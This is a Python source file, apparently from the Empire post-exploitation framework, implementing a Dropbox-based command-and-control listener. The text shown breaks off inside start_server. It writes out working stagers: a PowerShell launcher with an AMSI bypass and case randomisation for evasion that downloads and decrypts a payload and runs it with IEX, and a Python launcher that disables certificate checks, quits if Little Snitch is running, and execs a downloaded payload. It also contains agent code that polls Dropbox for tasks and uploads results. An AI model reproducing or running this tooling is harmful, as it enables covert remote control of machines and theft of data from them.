937 lines
43 KiB
Python
Executable File
937 lines
43 KiB
Python
Executable File
import base64
|
|
import random
|
|
import os
|
|
import time
|
|
import copy
|
|
import dropbox
|
|
# from dropbox.exceptions import ApiError, AuthError
|
|
# from dropbox.files import FileMetadata, FolderMetadata, CreateFolderError
|
|
from pydispatch import dispatcher
|
|
|
|
# Empire imports
|
|
from lib.common import helpers
|
|
from lib.common import agents
|
|
from lib.common import encryption
|
|
from lib.common import packets
|
|
from lib.common import messages
|
|
|
|
|
|
class Listener:
|
|
|
|
def __init__(self, mainMenu, params=[]):
|
|
|
|
self.info = {
|
|
'Name': 'Dropbox',
|
|
|
|
'Author': ['@harmj0y'],
|
|
|
|
'Description': ('Starts a Dropbox listener.'),
|
|
|
|
'Category' : ('third_party'),
|
|
|
|
'Comments': []
|
|
}
|
|
|
|
# any options needed by the stager, settable during runtime
|
|
self.options = {
|
|
# format:
|
|
# value_name : {description, required, default_value}
|
|
|
|
'Name' : {
|
|
'Description' : 'Name for the listener.',
|
|
'Required' : True,
|
|
'Value' : 'dropbox'
|
|
},
|
|
'APIToken' : {
|
|
'Description' : 'Authorization token for Dropbox API communication.',
|
|
'Required' : True,
|
|
'Value' : ''
|
|
},
|
|
'PollInterval' : {
|
|
'Description' : 'Polling interval (in seconds) to communicate with the Dropbox Server.',
|
|
'Required' : True,
|
|
'Value' : '5'
|
|
},
|
|
'BaseFolder' : {
|
|
'Description' : 'The base Dropbox folder to use for comms.',
|
|
'Required' : True,
|
|
'Value' : '/Empire/'
|
|
},
|
|
'StagingFolder' : {
|
|
'Description' : 'The nested Dropbox staging folder.',
|
|
'Required' : True,
|
|
'Value' : '/staging/'
|
|
},
|
|
'TaskingsFolder' : {
|
|
'Description' : 'The nested Dropbox taskings folder.',
|
|
'Required' : True,
|
|
'Value' : '/taskings/'
|
|
},
|
|
'ResultsFolder' : {
|
|
'Description' : 'The nested Dropbox results folder.',
|
|
'Required' : True,
|
|
'Value' : '/results/'
|
|
},
|
|
'Launcher' : {
|
|
'Description' : 'Launcher string.',
|
|
'Required' : True,
|
|
'Value' : 'powershell -noP -w 1 -enc '
|
|
},
|
|
'StagingKey' : {
|
|
'Description' : 'Staging key for initial agent negotiation.',
|
|
'Required' : True,
|
|
'Value' : '2c103f2c4ed1e59c0b4e2e01821770fa'
|
|
},
|
|
'DefaultDelay' : {
|
|
'Description' : 'Agent delay/reach back interval (in seconds).',
|
|
'Required' : True,
|
|
'Value' : 60
|
|
},
|
|
'DefaultJitter' : {
|
|
'Description' : 'Jitter in agent reachback interval (0.0-1.0).',
|
|
'Required' : True,
|
|
'Value' : 0.0
|
|
},
|
|
'DefaultLostLimit' : {
|
|
'Description' : 'Number of missed checkins before exiting',
|
|
'Required' : True,
|
|
'Value' : 10
|
|
},
|
|
'DefaultProfile' : {
|
|
'Description' : 'Default communication profile for the agent.',
|
|
'Required' : True,
|
|
'Value' : "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
|
|
},
|
|
'KillDate' : {
|
|
'Description' : 'Date for the listener to exit (MM/dd/yyyy).',
|
|
'Required' : False,
|
|
'Value' : ''
|
|
},
|
|
'WorkingHours' : {
|
|
'Description' : 'Hours for the agent to operate (09:00-17:00).',
|
|
'Required' : False,
|
|
'Value' : ''
|
|
}
|
|
}
|
|
|
|
# required:
|
|
self.mainMenu = mainMenu
|
|
self.threads = {}
|
|
|
|
# optional/specific for this module
|
|
|
|
# set the default staging key to the controller db default
|
|
self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[0])
|
|
|
|
|
|
def default_response(self):
|
|
"""
|
|
Returns a default HTTP server page.
|
|
"""
|
|
return ''
|
|
|
|
|
|
def validate_options(self):
|
|
"""
|
|
Validate all options for this listener.
|
|
"""
|
|
|
|
self.uris = [a.strip('/') for a in self.options['DefaultProfile']['Value'].split('|')[0].split(',')]
|
|
|
|
for key in self.options:
|
|
if self.options[key]['Required'] and (str(self.options[key]['Value']).strip() == ''):
|
|
print helpers.color("[!] Option \"%s\" is required." % (key))
|
|
return False
|
|
|
|
return True
|
|
|
|
|
|
def generate_launcher(self, encode=True, userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None):
|
|
"""
|
|
Generate a basic launcher for the specified listener.
|
|
"""
|
|
|
|
if not language:
|
|
print helpers.color('[!] listeners/dbx generate_launcher(): no language specified!')
|
|
|
|
if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners):
|
|
|
|
# extract the set options for this instantiated listener
|
|
listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options']
|
|
# host = listenerOptions['Host']['Value']
|
|
stagingKey = listenerOptions['StagingKey']['Value']
|
|
profile = listenerOptions['DefaultProfile']['Value']
|
|
launcher = listenerOptions['Launcher']['Value']
|
|
stagingKey = listenerOptions['StagingKey']['Value']
|
|
pollInterval = listenerOptions['PollInterval']['Value']
|
|
apiToken = listenerOptions['APIToken']['Value']
|
|
baseFolder = listenerOptions['BaseFolder']['Value'].strip('/')
|
|
stagingFolder = "/%s/%s" % (baseFolder, listenerOptions['StagingFolder']['Value'].strip('/'))
|
|
taskingsFolder = "/%s/%s" % (baseFolder, listenerOptions['TaskingsFolder']['Value'].strip('/'))
|
|
resultsFolder = "/%s/%s" % (baseFolder, listenerOptions['ResultsFolder']['Value'].strip('/'))
|
|
|
|
if language.startswith('po'):
|
|
# PowerShell
|
|
|
|
stager = ''
|
|
if safeChecks.lower() == 'true':
|
|
# @mattifestation's AMSI bypass
|
|
stager = helpers.randomize_capitalization("[Ref].Assembly.GetType(")
|
|
stager += "'System.Management.Automation.AmsiUtils'"
|
|
stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(')
|
|
stager += "'amsiInitFailed','NonPublic,Static'"
|
|
stager += helpers.randomize_capitalization(").SetValue($null,$true)};")
|
|
stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;")
|
|
|
|
stager += helpers.randomize_capitalization("$wc=New-Object System.Net.WebClient;")
|
|
|
|
if userAgent.lower() == 'default':
|
|
profile = listenerOptions['DefaultProfile']['Value']
|
|
userAgent = profile.split('|')[1]
|
|
stager += "$u='"+userAgent+"';"
|
|
|
|
if userAgent.lower() != 'none' or proxy.lower() != 'none':
|
|
|
|
if userAgent.lower() != 'none':
|
|
stager += helpers.randomize_capitalization('$wc.Headers.Add(')
|
|
stager += "'User-Agent',$u);"
|
|
|
|
if proxy.lower() != 'none':
|
|
if proxy.lower() == 'default':
|
|
stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;")
|
|
else:
|
|
# TODO: implement form for other proxy
|
|
stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy;")
|
|
stager += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';")
|
|
stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;")
|
|
if proxyCreds.lower() == "default":
|
|
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
|
|
else:
|
|
# TODO: implement form for other proxy credentials
|
|
pass
|
|
|
|
# TODO: reimplement stager retries?
|
|
|
|
# code to turn the key string into a byte array
|
|
stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
|
|
stager += "'%s');" % (stagingKey)
|
|
|
|
# this is the minimized RC4 stager code from rc4.ps1
|
|
stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};')
|
|
|
|
# add in the Dropbox auth token and API params
|
|
stager += "$t='%s';" % (apiToken)
|
|
stager += helpers.randomize_capitalization("$wc.Headers.Add(")
|
|
stager += "\"Authorization\",\"Bearer $t\");"
|
|
stager += helpers.randomize_capitalization("$wc.Headers.Add(")
|
|
stager += "\"Dropbox-API-Arg\",'{\"path\":\"%s/debugps\"}');" % (stagingFolder)
|
|
|
|
stager += helpers.randomize_capitalization("$data=$WC.DownloadData('")
|
|
stager += "https://content.dropboxapi.com/2/files/download');"
|
|
stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];")
|
|
|
|
# decode everything and kick it over to IEX to kick off execution
|
|
stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
|
|
|
|
# base64 encode the stager and return it
|
|
if encode:
|
|
return helpers.powershell_launcher(stager, launcher)
|
|
else:
|
|
# otherwise return the case-randomized stager
|
|
return stager
|
|
|
|
elif language.startswith('py'):
|
|
launcherBase = 'import sys;'
|
|
# monkey patch ssl woohooo
|
|
launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n"
|
|
|
|
try:
|
|
if safeChecks.lower() == 'true':
|
|
launcherBase += "import re, subprocess;"
|
|
launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n"
|
|
launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n"
|
|
launcherBase += "out = ps.stdout.read()\n"
|
|
launcherBase += "ps.stdout.close()\n"
|
|
launcherBase += "if re.search(\"Little Snitch\", out):\n"
|
|
launcherBase += " sys.exit()\n"
|
|
except Exception as e:
|
|
p = "[!] Error setting LittleSnitch in stager: " + str(e)
|
|
print helpers.color(p, color='red')
|
|
|
|
if userAgent.lower() == 'default':
|
|
profile = listenerOptions['DefaultProfile']['Value']
|
|
userAgent = profile.split('|')[1]
|
|
|
|
launcherBase += "import urllib2;\n"
|
|
launcherBase += "UA='%s';" % (userAgent)
|
|
launcherBase += "t='%s';" % (apiToken)
|
|
launcherBase += "server='https://content.dropboxapi.com/2/files/download';"
|
|
|
|
launcherBase += "req=urllib2.Request(server);\n"
|
|
launcherBase += "req.add_header('User-Agent',UA);\n"
|
|
launcherBase += "req.add_header(\"Authorization\",\"Bearer \"+t);"
|
|
launcherBase += "req.add_header(\"Dropbox-API-Arg\",'{\"path\":\"%s/debugpy\"}');\n" % (stagingFolder)
|
|
|
|
|
|
launcherBase += "if urllib2.getproxies():\n"
|
|
launcherBase += " o = urllib2.build_opener();\n"
|
|
launcherBase += " o.add_handler(urllib2.ProxyHandler(urllib2.getproxies()))\n"
|
|
launcherBase += " urllib2.install_opener(o);\n"
|
|
|
|
launcherBase += "a=urllib2.urlopen(req).read();\n"
|
|
launcherBase += "IV=a[0:4];"
|
|
launcherBase += "data=a[4:];"
|
|
launcherBase += "key=IV+'%s';" % (stagingKey)
|
|
|
|
# RC4 decryption
|
|
launcherBase += "S,j,out=range(256),0,[]\n"
|
|
launcherBase += "for i in range(256):\n"
|
|
launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n"
|
|
launcherBase += " S[i],S[j]=S[j],S[i]\n"
|
|
launcherBase += "i=j=0\n"
|
|
launcherBase += "for char in data:\n"
|
|
launcherBase += " i=(i+1)%256\n"
|
|
launcherBase += " j=(j+S[i])%256\n"
|
|
launcherBase += " S[i],S[j]=S[j],S[i]\n"
|
|
launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n"
|
|
launcherBase += "exec(''.join(out))"
|
|
|
|
if encode:
|
|
launchEncoded = base64.b64encode(launcherBase)
|
|
launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python &" % (launchEncoded)
|
|
return launcher
|
|
else:
|
|
return launcherBase
|
|
|
|
else:
|
|
print helpers.color("[!] listeners/dbx generate_launcher(): invalid listener name specification!")
|
|
|
|
|
|
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None):
|
|
"""
|
|
Generate the stager code needed for communications with this listener.
|
|
"""
|
|
|
|
if not language:
|
|
print helpers.color('[!] listeners/dbx generate_stager(): no language specified!')
|
|
return None
|
|
|
|
pollInterval = listenerOptions['PollInterval']['Value']
|
|
stagingKey = listenerOptions['StagingKey']['Value']
|
|
baseFolder = listenerOptions['BaseFolder']['Value'].strip('/')
|
|
apiToken = listenerOptions['APIToken']['Value']
|
|
profile = listenerOptions['DefaultProfile']['Value']
|
|
stagingFolder = "/%s/%s" % (baseFolder, listenerOptions['StagingFolder']['Value'].strip('/'))
|
|
|
|
if language.lower() == 'powershell':
|
|
|
|
# read in the stager base
|
|
f = open("%s/data/agent/stagers/dropbox.ps1" % (self.mainMenu.installPath))
|
|
stager = f.read()
|
|
f.close()
|
|
|
|
# patch the server and key information
|
|
stager = stager.replace('REPLACE_STAGING_FOLDER', stagingFolder)
|
|
stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
|
|
stager = stager.replace('REPLACE_POLLING_INTERVAL', pollInterval)
|
|
|
|
randomizedStager = ''
|
|
|
|
for line in stager.split("\n"):
|
|
line = line.strip()
|
|
# skip commented line
|
|
if not line.startswith("#"):
|
|
# randomize capitalization of lines without quoted strings
|
|
if "\"" not in line:
|
|
randomizedStager += helpers.randomize_capitalization(line)
|
|
else:
|
|
randomizedStager += line
|
|
|
|
# base64 encode the stager and return it
|
|
if encode:
|
|
return helpers.enc_powershell(randomizedStager)
|
|
elif encrypt:
|
|
RC4IV = os.urandom(4)
|
|
return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager)
|
|
else:
|
|
# otherwise just return the case-randomized stager
|
|
return randomizedStager
|
|
|
|
|
|
elif language.lower() == 'python':
|
|
|
|
f = open("%s/data/agent/stagers/dropbox.py" % (self.mainMenu.installPath))
|
|
stager = f.read()
|
|
f.close()
|
|
|
|
stager = helpers.strip_python_comments(stager)
|
|
# patch the server and key information
|
|
stager = stager.replace('REPLACE_STAGING_FOLDER', stagingFolder)
|
|
stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
|
|
stager = stager.replace('REPLACE_POLLING_INTERVAL', pollInterval)
|
|
stager = stager.replace('REPLACE_PROFILE', profile)
|
|
stager = stager.replace('REPLACE_API_TOKEN', apiToken)
|
|
|
|
if encode:
|
|
return base64.b64encode(stager)
|
|
if encrypt:
|
|
# return an encrypted version of the stager ("normal" staging)
|
|
RC4IV = os.urandom(4)
|
|
return RC4IV + encryption.rc4(RC4IV+stagingKey, stager)
|
|
else:
|
|
# otherwise return the standard stager
|
|
return stager
|
|
|
|
else:
|
|
print helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module.")
|
|
|
|
|
|
def generate_agent(self, listenerOptions, language=None):
|
|
"""
|
|
Generate the full agent code needed for communications with this listener.
|
|
"""
|
|
|
|
if not language:
|
|
print helpers.color('[!] listeners/dbx generate_agent(): no language specified!')
|
|
return None
|
|
|
|
language = language.lower()
|
|
delay = listenerOptions['DefaultDelay']['Value']
|
|
jitter = listenerOptions['DefaultJitter']['Value']
|
|
profile = listenerOptions['DefaultProfile']['Value']
|
|
lostLimit = listenerOptions['DefaultLostLimit']['Value']
|
|
killDate = listenerOptions['KillDate']['Value']
|
|
workingHours = listenerOptions['WorkingHours']['Value']
|
|
b64DefaultResponse = base64.b64encode(self.default_response())
|
|
|
|
if language == 'powershell':
|
|
f = open(self.mainMenu.installPath + "./data/agent/agent.ps1")
|
|
code = f.read()
|
|
f.close()
|
|
|
|
# patch in the comms methods
|
|
commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language)
|
|
code = code.replace('REPLACE_COMMS', commsCode)
|
|
|
|
# strip out comments and blank lines
|
|
code = helpers.strip_powershell_comments(code)
|
|
|
|
# patch in the delay, jitter, lost limit, and comms profile
|
|
code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay))
|
|
code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter))
|
|
code = code.replace('$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"")
|
|
code = code.replace('$LostLimit = 60', "$LostLimit = " + str(lostLimit))
|
|
code = code.replace('$DefaultResponse = ""', '$DefaultResponse = "'+b64DefaultResponse+'"')
|
|
|
|
# patch in the killDate and workingHours if they're specified
|
|
if killDate != "":
|
|
code = code.replace('$KillDate,', "$KillDate = '" + str(killDate) + "',")
|
|
if workingHours != "":
|
|
code = code.replace('$WorkingHours,', "$WorkingHours = '" + str(workingHours) + "',")
|
|
|
|
return code
|
|
elif language == 'python':
|
|
f = open(self.mainMenu.installPath + "./data/agent/agent.py")
|
|
code = f.read()
|
|
f.close()
|
|
|
|
#path in the comms methods
|
|
commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language)
|
|
code = code.replace('REPLACE_COMMS', commsCode)
|
|
|
|
#strip out comments and blank lines
|
|
code = helpers.strip_python_comments(code)
|
|
|
|
#patch some more
|
|
code = code.replace('delay = 60', 'delay = %s' % (delay))
|
|
code = code.replace('jitter = 0.0', 'jitter = %s' % (jitter))
|
|
code = code.replace('profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', 'profile = "%s"' % (profile))
|
|
code = code.replace('lostLimit = 60', 'lostLimit = %s' % (lostLimit))
|
|
code = code.replace('defaultResponse = base64.b64decode("")', 'defaultResponse = base64.b64decode("%s")' % (b64DefaultResponse))
|
|
|
|
# patch in the killDate and workingHours if they're specified
|
|
if killDate != "":
|
|
code = code.replace('killDate = ""', 'killDate = "%s"' % (killDate))
|
|
if workingHours != "":
|
|
code = code.replace('workingHours = ""', 'workingHours = "%s"' % (killDate))
|
|
|
|
return code
|
|
else:
|
|
print helpers.color("[!] listeners/dbx generate_agent(): invalid language specification, only 'powershell' and 'python' are currently supported for this module.")
|
|
|
|
|
|
def generate_comms(self, listenerOptions, language=None):
|
|
"""
|
|
Generate just the agent communication code block needed for communications with this listener.
|
|
|
|
This is so agents can easily be dynamically updated for the new listener.
|
|
"""
|
|
|
|
stagingKey = listenerOptions['StagingKey']['Value']
|
|
pollInterval = listenerOptions['PollInterval']['Value']
|
|
apiToken = listenerOptions['APIToken']['Value']
|
|
baseFolder = listenerOptions['BaseFolder']['Value'].strip('/')
|
|
taskingsFolder = "/%s/%s" % (baseFolder, listenerOptions['TaskingsFolder']['Value'].strip('/'))
|
|
resultsFolder = "/%s/%s" % (baseFolder, listenerOptions['ResultsFolder']['Value'].strip('/'))
|
|
|
|
if language:
|
|
if language.lower() == 'powershell':
|
|
|
|
updateServers = """
|
|
$Script:APIToken = "%s";
|
|
""" % (apiToken)
|
|
|
|
getTask = """
|
|
function script:Get-Task {
|
|
try {
|
|
# build the web request object
|
|
$wc = New-Object System.Net.WebClient
|
|
|
|
# set the proxy settings for the WC to be the default system settings
|
|
$wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
|
|
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
|
|
$wc.Headers.Add("User-Agent", $script:UserAgent)
|
|
$Script:Headers.GetEnumerator() | ForEach-Object {$wc.Headers.Add($_.Name, $_.Value)}
|
|
|
|
$TaskingsFolder = "%s"
|
|
$wc.Headers.Set("Authorization", "Bearer $($Script:APIToken)")
|
|
$wc.Headers.Set("Dropbox-API-Arg", "{`"path`":`"$TaskingsFolder/$($script:SessionID).txt`"}")
|
|
$Data = $wc.DownloadData("https://content.dropboxapi.com/2/files/download")
|
|
|
|
if($Data -and ($Data.Length -ne 0)) {
|
|
# if there was a tasking data, remove it
|
|
$wc.Headers.Add("Content-Type", " application/json")
|
|
$wc.Headers.Remove("Dropbox-API-Arg")
|
|
$Null=$wc.UploadString("https://api.dropboxapi.com/2/files/delete", "POST", "{`"path`":`"$TaskingsFolder/$($script:SessionID).txt`"}")
|
|
$Data
|
|
}
|
|
$script:MissedCheckins = 0
|
|
}
|
|
catch {
|
|
if ($_ -match 'Unable to connect') {
|
|
$script:MissedCheckins += 1
|
|
}
|
|
}
|
|
}
|
|
""" % (taskingsFolder)
|
|
|
|
sendMessage = """
|
|
function script:Send-Message {
|
|
param($Packets)
|
|
|
|
if($Packets) {
|
|
# build and encrypt the response packet
|
|
$EncBytes = Encrypt-Bytes $Packets
|
|
|
|
# build the top level RC4 "routing packet"
|
|
# meta 'RESULT_POST' : 5
|
|
$RoutingPacket = New-RoutingPacket -EncData $EncBytes -Meta 5
|
|
|
|
# build the web request object
|
|
$wc = New-Object System.Net.WebClient
|
|
# set the proxy settings for the WC to be the default system settings
|
|
$wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
|
|
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
|
|
$wc.Headers.Add('User-Agent', $Script:UserAgent)
|
|
$Script:Headers.GetEnumerator() | ForEach-Object {$wc.Headers.Add($_.Name, $_.Value)}
|
|
|
|
$ResultsFolder = "%s"
|
|
|
|
try {
|
|
# check if the results file is still in the specified location, if so then
|
|
# download the file and append the new routing packet to it
|
|
try {
|
|
$Data = $Null
|
|
$wc.Headers.Set("Authorization", "Bearer $($Script:APIToken)");
|
|
$wc.Headers.Set("Dropbox-API-Arg", "{`"path`":`"$ResultsFolder/$($script:SessionID).txt`"}");
|
|
$Data = $wc.DownloadData("https://content.dropboxapi.com/2/files/download")
|
|
}
|
|
catch { }
|
|
|
|
if($Data -and $Data.Length -ne 0) {
|
|
$RoutingPacket = $Data + $RoutingPacket
|
|
}
|
|
|
|
$wc2 = New-Object System.Net.WebClient
|
|
$wc2.Headers.Add("Authorization", "Bearer $($Script:APIToken)")
|
|
$wc2.Headers.Add("Content-Type", "application/octet-stream")
|
|
$wc2.Headers.Add("Dropbox-API-Arg", "{`"path`":`"$ResultsFolder/$($script:SessionID).txt`"}");
|
|
$Null = $wc2.UploadData("https://content.dropboxapi.com/2/files/upload", "POST", $RoutingPacket)
|
|
$script:MissedCheckins = 0
|
|
}
|
|
catch {
|
|
if ($_ -match 'Unable to connect') {
|
|
$script:MissedCheckins += 1
|
|
}
|
|
}
|
|
}
|
|
}
|
|
""" % (resultsFolder)
|
|
|
|
return updateServers + getTask + sendMessage
|
|
|
|
elif language.lower() == 'python':
|
|
|
|
sendMessage = """
|
|
def send_message(packets=None):
|
|
# Requests a tasking or posts data to a randomized tasking URI.
|
|
# If packets == None, the agent GETs a tasking from the control server.
|
|
# If packets != None, the agent encrypts the passed packets and
|
|
# POSTs the data to the control server.
|
|
|
|
def post_message(uri, data, headers):
|
|
req = urllib2.Request(uri)
|
|
headers['Authorization'] = "Bearer REPLACE_API_TOKEN"
|
|
for key, value in headers.iteritems():
|
|
req.add_header("%s"%(key),"%s"%(value))
|
|
|
|
if data:
|
|
req.add_data(data)
|
|
|
|
o=urllib2.build_opener()
|
|
o.add_handler(urllib2.ProxyHandler(urllib2.getproxies()))
|
|
urllib2.install_opener(o)
|
|
|
|
return urllib2.urlopen(req).read()
|
|
|
|
global missedCheckins
|
|
global headers
|
|
taskingsFolder="REPLACE_TASKSING_FOLDER"
|
|
resultsFolder="REPLACE_RESULTS_FOLDER"
|
|
data = None
|
|
requestUri=''
|
|
try:
|
|
del headers['Content-Type']
|
|
except:
|
|
pass
|
|
|
|
|
|
if packets:
|
|
data = ''.join(packets)
|
|
# aes_encrypt_then_hmac is in stager.py
|
|
encData = aes_encrypt_then_hmac(key, data)
|
|
data = build_routing_packet(stagingKey, sessionID, meta=5, encData=encData)
|
|
#check to see if there are any results already present
|
|
|
|
headers['Dropbox-API-Arg'] = "{\\"path\\":\\"%s/%s.txt\\"}" % (resultsFolder, sessionID)
|
|
|
|
try:
|
|
pkdata = post_message('https://content.dropboxapi.com/2/files/download', data=None, headers=headers)
|
|
except:
|
|
pkdata = None
|
|
|
|
if pkdata and len(pkdata) > 0:
|
|
data = pkdata + data
|
|
|
|
headers['Content-Type'] = "application/octet-stream"
|
|
requestUri = 'https://content.dropboxapi.com/2/files/upload'
|
|
else:
|
|
headers['Dropbox-API-Arg'] = "{\\"path\\":\\"%s/%s.txt\\"}" % (taskingsFolder, sessionID)
|
|
requestUri='https://content.dropboxapi.com/2/files/download'
|
|
|
|
try:
|
|
resultdata = post_message(requestUri, data, headers)
|
|
if (resultdata and len(resultdata) > 0) and requestUri.endswith('download'):
|
|
headers['Content-Type'] = "application/json"
|
|
del headers['Dropbox-API-Arg']
|
|
datastring="{\\"path\\":\\"%s/%s.txt\\"}" % (taskingsFolder, sessionID)
|
|
nothing = post_message('https://api.dropboxapi.com/2/files/delete', datastring, headers)
|
|
|
|
return ('200', resultdata)
|
|
|
|
except urllib2.HTTPError as HTTPError:
|
|
# if the server is reached, but returns an erro (like 404)
|
|
return (HTTPError.code, '')
|
|
|
|
except urllib2.URLError as URLerror:
|
|
# if the server cannot be reached
|
|
missedCheckins = missedCheckins + 1
|
|
return (URLerror.reason, '')
|
|
|
|
return ('', '')
|
|
"""
|
|
sendMessage = sendMessage.replace('REPLACE_TASKSING_FOLDER', taskingsFolder)
|
|
sendMessage = sendMessage.replace('REPLACE_RESULTS_FOLDER', resultsFolder)
|
|
sendMessage = sendMessage.replace('REPLACE_API_TOKEN', apiToken)
|
|
return sendMessage
|
|
else:
|
|
print helpers.color('[!] listeners/dbx generate_comms(): no language specified!')
|
|
|
|
|
|
def start_server(self, listenerOptions):
|
|
"""
|
|
Threaded function that actually starts up polling server for Dropbox
|
|
polling communication.
|
|
|
|
./Empire/
|
|
./staging/
|
|
stager.ps1
|
|
SESSION_[1-4].txt
|
|
./taskings/
|
|
SESSIONID.txt
|
|
./results/
|
|
SESSIONID.txt
|
|
|
|
/Empire/staging/stager.ps1 -> RC4staging(stager.ps1) uploaded by server
|
|
/Empire/staging/sessionID_1.txt -> AESstaging(PublicKey) uploaded by client
|
|
/Empire/staging/sessionID_2.txt -> RSA(nonce+AESsession) uploaded by server
|
|
/Empire/staging/sessionID_3.txt -> AESsession(nonce+sysinfo) uploaded by client
|
|
/Empire/staging/sessionID_4.txt -> AESsession(agent.ps1) uploaded by server
|
|
|
|
|
|
client dropbox server
|
|
<- upload /Empire/staging/stager.ps1
|
|
read /Empire/staging/stager ->
|
|
<- return stager
|
|
generate sessionID
|
|
upload /Empire/staging/sessionID_1.txt ->
|
|
<- read /Empire/staging/sessionID_1.txt
|
|
<- upload /Empire/staging/sessionID_2.txt
|
|
read /Empire/staging/sessionID_2.txt ->
|
|
<- /Empire/staging/sessionID_2.txt
|
|
upload /Empire/staging/sessionID_3.txt ->
|
|
<- read /Empire/staging/sessionID_3.txt
|
|
<- upload /Empire/staging/sessionID_4.txt
|
|
read /Empire/staging/sessionID_4.txt ->
|
|
<- /Empire/staging/sessionID_4.txt
|
|
|
|
<start beaconing>
|
|
<- upload /Empire/taskings/sessionID.txt
|
|
read /Empire/taskings/sessionID.txt ->
|
|
<- /Empire/taskings/sessionID.txt
|
|
delete /Empire/taskings/sessionID.txt ->
|
|
|
|
execute code
|
|
upload /Empire/results/sessionID.txt ->
|
|
<- read /Empire/results/sessionID.txt
|
|
<- delete /Empire/results/sessionID.txt
|
|
|
|
"""
|
|
|
|
def download_file(dbx, path):
|
|
# helper to download a file at the given path
|
|
try:
|
|
md, res = dbx.files_download(path)
|
|
except dropbox.exceptions.HttpError as err:
|
|
dispatcher.send("[!] Error download data from '%s' : %s" % (path, err), sender="listeners/dropbox")
|
|
return None
|
|
return res.content
|
|
|
|
def upload_file(dbx, path, data):
|
|
# helper to upload a file to the given path
|
|
try:
|
|
dbx.files_upload(data, path)
|
|
except dropbox.exceptions.ApiError:
|
|
dispatcher.send("[!] Error uploading data to '%s'" % (path), sender="listeners/dropbox")
|
|
|
|
def delete_file(dbx, path):
|
|
# helper to delete a file at the given path
|
|
try:
|
|
dbx.files_delete(path)
|
|
except dropbox.exceptions.ApiError:
|
|
dispatcher.send("[!] Error deleting data at '%s'" % (path), sender="listeners/dropbox")
|
|
|
|
|
|
# make a copy of the currently set listener options for later stager/agent generation
|
|
listenerOptions = copy.deepcopy(listenerOptions)
|
|
|
|
stagingKey = listenerOptions['StagingKey']['Value']
|
|
pollInterval = listenerOptions['PollInterval']['Value']
|
|
apiToken = listenerOptions['APIToken']['Value']
|
|
listenerName = listenerOptions['Name']['Value']
|
|
baseFolder = listenerOptions['BaseFolder']['Value'].strip('/')
|
|
stagingFolder = "/%s/%s" % (baseFolder, listenerOptions['StagingFolder']['Value'].strip('/'))
|
|
taskingsFolder = "/%s/%s" % (baseFolder, listenerOptions['TaskingsFolder']['Value'].strip('/'))
|
|
resultsFolder = "/%s/%s" % (baseFolder, listenerOptions['ResultsFolder']['Value'].strip('/'))
|
|
|
|
dbx = dropbox.Dropbox(apiToken)
|
|
|
|
# ensure that the access token supplied is valid
|
|
try:
|
|
dbx.users_get_current_account()
|
|
except dropbox.exceptions.AuthError as err:
|
|
print helpers.color("[!] ERROR: Invalid access token; try re-generating an access token from the app console on the web.")
|
|
return False
|
|
|
|
# setup the base folder structure we need
|
|
try:
|
|
dbx.files_create_folder(stagingFolder)
|
|
except dropbox.exceptions.ApiError:
|
|
dispatcher.send("[*] Dropbox folder '%s' already exists" % (stagingFolder), sender="listeners/dropbox")
|
|
try:
|
|
dbx.files_create_folder(taskingsFolder)
|
|
except dropbox.exceptions.ApiError:
|
|
dispatcher.send("[*] Dropbox folder '%s' already exists" % (taskingsFolder), sender="listeners/dropbox")
|
|
try:
|
|
dbx.files_create_folder(resultsFolder)
|
|
except dropbox.exceptions.ApiError:
|
|
dispatcher.send("[*] Dropbox folder '%s' already exists" % (resultsFolder), sender="listeners/dropbox")
|
|
|
|
